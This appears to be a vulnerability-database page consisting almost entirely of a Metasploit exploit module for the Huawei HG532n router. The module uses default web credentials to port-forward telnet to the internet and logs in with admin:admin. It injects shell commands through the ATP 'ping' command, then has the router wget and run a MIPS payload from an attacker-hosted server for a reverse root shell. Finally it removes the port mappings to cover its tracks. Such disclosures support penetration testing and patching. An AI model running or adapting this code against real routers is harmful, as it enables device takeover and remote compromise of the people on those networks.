Huawei HG532n Command Injection

2017.04.18
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'base64' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info( info, 'Name' => 'Huawei HG532n Command Injection', 'Description' => %q( This module exploits a command injection vulnerability in the Huawei HG532n routers provided by TE-Data Egypt, leading to a root shell. The router's web interface has two kinds of logins, a "limited" user:user login given to all customers and an admin mode. The limited mode is used here to expose the router's telnet port to the outside world through NAT port-forwarding. With telnet now remotely accessible, the router's limited "ATP command line tool" (served over telnet) can be upgraded to a root shell through an injection into the ATP's hidden "ping" command. ), 'Author' => [ 'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery, msf module ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSBE, 'Privileged' => true, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp' }, 'Targets' => [ [ 'Linux mipsbe Payload', { 'Arch' => ARCH_MIPSBE, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 15 2017' )) register_options( [ OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']), OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']), OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']), OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']), OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']), OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']), OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60]) ], self.class ) end def check httpd_fingerprint = %r{ \A HTTP\/1\.1\s200\sOK\r\n CACHE-CONTROL:\sno-cache\r\n Date:\s.*\r\n Connection:\sKeep-Alive\r\n Content-Type:\stext\/html\r\n Content-Length:\s\d+\r\n \r\n <html>\n<head>\n <META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n <META\shttp-equiv="Pragma"\scontent="no-cache">\n <META\shttp-equiv="expires"\sCONTENT="-1">\n <link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/> }x begin res = send_request_raw( 'method' => 'GET', 'uri' => '/' ) rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} - Could not connect to device") return Exploit::CheckCode::Unknown end if res && res.code == 200 && res.to_s =~ httpd_fingerprint return Exploit::CheckCode::Appears end Exploit::CheckCode::Unknown end # # The Javascript code sends all passwords in the form: # form.setAction('/index/login.cgi'); # form.addParameter('Username', Username.value); # form.addParameter('Password', base64encode(SHA256(Password.value))); # Do the same base64 encoding and SHA-256 hashing here. # def hash_password(password) sha256 = OpenSSL::Digest::SHA256.hexdigest(password) Base64.encode64(sha256).gsub(/\s+/, "") end # # Without below cookies, which are also sent by the JS code, the # server will consider even correct HTTP requests invalid # def generate_web_cookie(admin: false, session: nil) if admin cookie = 'FirstMenu=Admin_0; ' cookie << 'SecondMenu=Admin_0_0; ' cookie << 'ThirdMenu=Admin_0_0_0; ' else cookie = 'FirstMenu=User_2; ' cookie << 'SecondMenu=User_2_1; ' cookie << 'ThirdMenu=User_2_1_0; ' end cookie << 'Language=en' cookie << "; #{session}" unless session.nil? cookie end # # Login to the router through its JS-based login page. Upon a successful # login, return the keep-alive HTTP session cookie # def web_login cookie = generate_web_cookie(admin: true) # On good passwords, the router redirect us to the /html/content.asp # homepage. Otherwise, it throws us back to the '/' login page. Thus # consider the ASP page our valid login marker invalid_login_marker = "var pageName = '/'" valid_login_marker = "var pageName = '/html/content.asp'" username = datastore['HttpUsername'] password = datastore['HttpPassword'] res = send_request_cgi( 'method' => 'POST', 'uri' => '/index/login.cgi', 'cookie' => cookie, 'vars_post' => { 'Username' => username, 'Password' => hash_password(password) } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end return res.get_cookies if res.body.include? valid_login_marker if res.body.include? invalid_login_marker fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") else fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") end end # # The telnet port is filtered by default. Expose it to the outside world # through NAT forwarding # def expose_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) external_telnet_port = rand(32767) + 32768 portmapping_page = '/html/application/portmapping.asp' valid_port_export_marker = "var pageName = '#{portmapping_page}';" invalid_port_export_marker = /var ErrInfo = \d+/ res = send_request_cgi( 'method' => 'POST', 'uri' => '/html/application/addcfg.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get' => { 'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping', 'RequestFile' => portmapping_page }, 'vars_post' => { 'x.PortMappingProtocol' => "TCP", 'x.PortMappingEnabled' => "1", 'x.RemoteHost' => "", 'x.ExternalPort' => external_telnet_port.to_s, 'x.ExternalPortEndRange' => external_telnet_port.to_s, 'x.InternalClient' => "192.168.1.1", 'x.InternalPort' => "23", 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict } ) fail_with(Failure::Unreachable, "Connection timed out") if res.nil? unless res.code == 200 fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") end if res.body.include? valid_port_export_marker print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}" return external_telnet_port end if res.body.match? invalid_port_export_marker fail_with(Failure::Unknown, "Router reported port-mapping error. " \ "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") end fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") end # # Cover our tracks; don't leave the exposed router's telnet port open # def hide_exposed_telnet_port(session_cookies) cookie = generate_web_cookie(session: session_cookies) portmapping_page = '/html/application/portmapping.asp' # Gather a list of all existing ports forwarded so we can purge them soon res = send_request_cgi( 'method' => 'GET', 'uri' => portmapping_page, 'cookie' => cookie ) unless res && res.code == 200 print_warning "Could not get current forwarded ports from web interface" end # Collect existing port-forwarding keys; to be passed to the delete POST request portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/ vars_post = {} res.body.scan(portforward_key).uniq.each do |key| vars_post[key] = "" end res = send_request_cgi( 'method' => 'POST', 'uri' => '/html/application/del.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, 'vars_get' => { 'RequestFile' => portmapping_page }, 'vars_post' => vars_post ) return if res && res.code == 200 print_warning "Could not re-hide exposed telnet port" end # # Cleanup our state, after any successful web login. Note: router refuses # more than 3 concurrent logins from the same IP. It also forces a 1-minute # delay after 3 unsuccessful logins from _any_ IP. # def web_logout(session_cookies) cookie = generate_web_cookie(admin: true, session: session_cookies) res = send_request_cgi( 'method' => 'POST', 'uri' => '/index/logout.cgi', 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" } ) return if res && res.code == 200 print_warning "Could not logout from web interface. Future web logins may fail!" end # # Don't leave web sessions idle for too long (> 1 second). It triggers the # HTTP server's safety mechanisms and make it refuse further operations. # # Thus do all desired web operations in chunks: log in, do our stuff (passed # block), and immediately log out. The router's own javescript code handles # this by sending a refresh request every second. # def web_operation begin cookie = web_login yield cookie ensure web_logout(cookie) unless cookie.nil? end end # # Helper method. Used for waiting on telnet banners and prompts. # Always catch the ::Timeout::Error exception upon calling this. # def read_until(sock, timeout, marker) received = '' Timeout.timeout(timeout) do loop do r = (sock.get_once(-1, 1) || '') next if r.empty? received << r print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true return received if received.include? marker end end end # # Borrowing constants from Ruby's Net::Telnet class (ruby license) # IAC = 255.chr # "\377" # "\xff" # interpret as command DO = 253.chr # "\375" # "\xfd" # please, you use option OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission OPT_ECHO = 1.chr # "\001" # "\x01" # Echo OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition def telnet_auth_negotiation(sock, timeout) begin read_until(sock, timeout, 'Password:') sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA) rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected first password banner not received") end begin read_until(sock, timeout, 'Password:') # Router bug sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY) rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected second password banner not received") end end def telnet_prompt_wait(error_regex = nil) begin result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) if error_regex error_regex = [error_regex] unless error_regex.is_a? Array error_regex.each do |regex| if result.match? regex fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") end end end rescue ::Timeout::Error fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") end end # # Basic telnet login. Due to mixins conflict, revert to using plain # Rex sockets (thanks @hdm!) # def telnet_login(port) print_status "Connecting to just-exposed telnet port #{port}" @telnet_prompt = 'HG520b>' @telnet_timeout = 60 @telnet_sock = Rex::Socket.create_tcp( 'PeerHost' => rhost, 'PeerPort' => port, 'Context' => { 'Msf' => framework, 'MsfExploit' => self }, 'Timeout' => @telnet_timeout ) if @telnet_sock.nil? fail_with(Failure::Unreachable, "Exposed telnet port unreachable") end add_socket(@telnet_sock) print_good "Connection succeeded. Passing telnet credentials" telnet_auth_negotiation(@telnet_sock, @telnet_timeout) print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'" telnet_prompt_wait print_good 'Prompt received. Telnet access fully granted!' end def telnet_exit return if @telnet_sock.nil? @telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY) end # # Router's limited ATP shell just reverts to classical Linux # shell when executing a ping: # # "ping %s > /var/res_ping" # # A successful injection would thus substitute all its spaces to # ${IFS}, and trails itself with ";true" so it can have its own # IO redirection. # def execute_command(command, error_regex = nil, background: false) print_status "Running command on target: #{command}" command.gsub!(/\s/, '${IFS}') separator = background ? '&' : ';' atp_cmd = "ping ?;#{command}#{separator}true" @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY) telnet_prompt_wait(error_regex) print_good "Command executed successfully" end # # Our own HTTP server, for serving the payload # def start_http_server @pl = generate_payload_exe downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) resource_uri = '/' + downfile if datastore['DOWNHOST'] print_status "Will not start local web server, as DOWNHOST is already defined" else print_status("Starting web server; hosting #{resource_uri}") start_service( 'ServerHost' => '0.0.0.0', 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) end resource_uri end # # HTTP server incoming request callback # def on_request_uri(cli, _request) print_good "HTTP server received request. Sending payload to victim" send_response(cli, @pl) end # # Unfortunately we could not use the `echo' command stager since # the router's busybox echo does not understand the necessary # "-en" options. It outputs them to the binary instead. # # We could not also use the `wget' command stager, as Huawei # crafted their own implementation with much different params. # def download_and_run_payload(payload_uri) srv_host = if datastore['DOWNHOST'] datastore['DOWNHOST'] elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" Rex::Socket.source_address(rhost) else datastore['SRVHOST'] end srv_port = datastore['SRVPORT'].to_s output_file = "/tmp/#{rand_text_alpha_lower(8)}" # Check module documentation for the special wget syntax wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}" execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc. execute_command("chmod 700 #{output_file}", /No such file/) execute_command(output_file, /not found/, background: true) execute_command("rm #{output_file}", /No such file/) end # # At the end of the module, especially for reverse_tcp payloads, wait for # the payload to connect back to us. There's a very high probability we # will lose the payload's signal otherwise. # def wait_for_payload_session print_status "Waiting for the payload to connect back .." begin Timeout.timeout(datastore['ListenerTimeout']) do loop do break if session_created? Rex.sleep(0.25) end end rescue ::Timeout::Error fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back") end print_good "Payload connected!" end # # Main exploit code: login through web interface; port-forward router's # telnet; access telnet and gain root shell through command injection. # def exploit print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature" unless check == Exploit::CheckCode::Appears fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?") end print_good "Good. Router seems to be a vulnerable HG532n device" telnet_port = nil web_operation do |cookie| telnet_port = expose_telnet_port(cookie) end begin telnet_login(telnet_port) payload_uri = start_http_server download_and_run_payload(payload_uri) wait_for_payload_session ensure telnet_exit web_operation do |cookie| hide_exposed_telnet_port(cookie) end end end end


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